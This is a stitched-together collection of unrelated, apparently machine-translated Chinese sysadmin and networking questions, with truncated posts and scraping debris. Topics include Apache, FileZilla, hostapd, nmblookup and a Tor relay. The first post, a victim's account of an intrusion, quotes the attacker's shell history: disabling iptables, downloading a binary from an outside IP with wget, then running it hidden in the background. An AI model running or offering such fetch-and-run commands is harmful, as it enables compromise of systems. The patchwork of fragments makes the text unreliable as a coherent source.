我正在开发一个消费产品,它应该连接到互联网,所以正如预期的那样,它连接到互联网以便我可以正确地开发它。
我离开了一两个小时,当我回到办公室时,我注意到终端上写着一些奇怪的命令。
查看名为auth.log我的 Linux 日志文件,我可以看到以下几行(还有更多):
Feb 1 10:45:10 debian-armhf sshd[994]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=40.127.205.162 user=root
Feb 1 10:45:12 debian-armhf sshd[994]: Failed password for root from 40.127.205.162 port 37198 ssh2
Feb 1 10:45:12 debian-armhf sshd[994]: Received disconnect from 40.127.205.162: 11: Bye Bye [preauth]
Run Code Online (Sandbox Code Playgroud)
40.127.205.162事实证明,该 IP 地址归 Microsoft 所有。
以下是我不在时使用的一堆命令:
355 service iptables stop
356 cd /tmp
357 wget http://222.186.30.209:65534/yjz1
358 chmod 0755 /tmp/yjz1
359 nohup /tmp/yjz1 > /dev/null 2>&1 &
360 …Run Code Online (Sandbox Code Playgroud) 谷歌表示它的运行速度为 6Gb/s。吞吐量为 600MB/s。600MB/s 等于 4.8Gb/s。
这是否意味着带宽是 6Gb/s 但实际吞吐量是 4.8Gb/s ?
是否可以通过特定接口路由进程使用的流量?
例如,下载应用程序的网络流量应始终使用该接口,wlan0而计算机上的所有其他应用程序应使用eth0.
在 Linux 中可能有这种规则吗?
尽管互联网连接速度足够快(8 Mbps,无线速度测试),但我无法从某个站点流式传输广播。这是奇怪的事情:流似乎在其他 ISP 上运行流畅,所以我怀疑这可能是对等互连问题。
如何测试我与某个站点或服务器的连接速度?
我刚刚升级到 ubuntu 14.04,现在 apache2 无法启动,出现错误:
root@dennisHome:~# /etc/init.d/apache2 restart
* Restarting web server apache2
...fail!
* The apache2 configtest failed.
Run Code Online (Sandbox Code Playgroud)
配置测试的输出是:
apache2: Syntax error on line 244 of /etc/apache2/apache2.conf:
Syntax error on line 1 of /etc/apache2/mods-enabled/authz_default.load: Cannot load /usr/lib/apache2/modules/mod_authz_default.so into server:
/usr/lib/apache2/modules/mod_authz_default.so: cannot open shared object file: No such file or directory
Action 'configtest' failed.
The Apache error log may have more information
Run Code Online (Sandbox Code Playgroud)
看起来 mod_authz_default.so 已经不存在了,我该怎么做才能解决这个问题?
我在使用 FileZilla 时遇到问题。我尝试与我的服务器建立 FTP 连接,但在尝试了好几轮后,最终还是停留在相同的初始消息上。我可以使用相同的主机、用户名、密码和端口来使用 Chrome 浏览器登录,但不能用于 FileZilla。任何的想法?
Status: Connection established, waiting for welcome message...
Response: 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------
Response: 220-You are user number 1 of 50 allowed.
Response: 220-Local time is now 16:13. Server port: 21.
Response: 220-This is a private system - No anonymous login
Response: 220-IPv6 connections are also welcome on this server.
Response: 220 You will be disconnected after 15 minutes of inactivity.
Command: AUTH TLS
Response: 234 AUTH TLS OK.
Status: …Run Code Online (Sandbox Code Playgroud) 我正在尝试将我的电脑无线网卡用作 AP,同时通过同一张网卡连接到我的 wifi 网络,但我遇到了问题。我试图实现的是相当于 Windows 的虚拟 Wi-fi 技术。原则上,这很简单:
service network-manager stop
iw dev wlan0 del
iw phy phy0 interface add new0 type station
service network-manager start
iw phy phy0 interface add new1 type __ap
hostapd -B /etc/hostapd.conf
Run Code Online (Sandbox Code Playgroud)
具有适合 hostapd 的配置:
cat /etc/hostapd/hostapd.conf
interface=new1
driver=nl80211
logger_syslog=-1
logger_syslog_level=2
logger_stdout=-1
logger_stdout_level=2
ssid=XXXX
country_code=us
hw_mode=g
channel=1
macaddr_acl=0
auth_algs=3
ignore_broadcast_ssid=0
eap_server=0
wpa=2
wpa_passphrase=XXXX
wpa_pairwise=TKIP CCMP
rsn_pairwise=TKIP CCMP
Run Code Online (Sandbox Code Playgroud)
但是,驱动程序 nl80211 拒绝将虚拟 IF new1 置于 AP 模式。有趣的一点来了: iw list 的输出包含
Supported interface modes:
* IBSS
* managed …Run Code Online (Sandbox Code Playgroud) 命令
nmblookup -A IP_address
Run Code Online (Sandbox Code Playgroud)
根据手册页,返回对该地址的节点状态查询。典型的输出是:
Looking up status of 192.168.253.101
HPB4B52F0559C2 <00> - B <ACTIVE> <PERMANENT>
MSHOME <00> - <GROUP> B <ACTIVE> <PERMANENT>
HPB4B52F0559C2 <20> - B <ACTIVE> <PERMANENT>
HP0559C2 <00> - B <ACTIVE> <PERMANENT>
HP0559C2 <20> - B <ACTIVE> <PERMANENT>
Run Code Online (Sandbox Code Playgroud)
我一直无法详细理解此输出的含义。例如,不同的线对应什么?<> 中的数字?B 代码(也可以是 M 或 H)?关键字 ACTIVE 和 PERMANENT?
我运行一个 Tor 中继。我经常看到发送的数据量和接收的数据量之间存在显着差异。例如,今天早上的日志指出:
Tor's uptime is 7 days 18:00 hours, with 551 circuits open. I've sent 167.80 GB and received 140.35 GB.
Run Code Online (Sandbox Code Playgroud)
这几乎是 20% 的差异。我认为中继只不过是路上的一个经过站,除了偶尔对网络进行身份验证。
有谁知道这种差异的起源和含义?顺便说一下,我没有托管任何隐藏的服务。
有一些应用程序,如记事本和 cmd 可以通过在运行对话框中输入它们的名称来启动,我可以为所有应用程序创建这样的条目吗?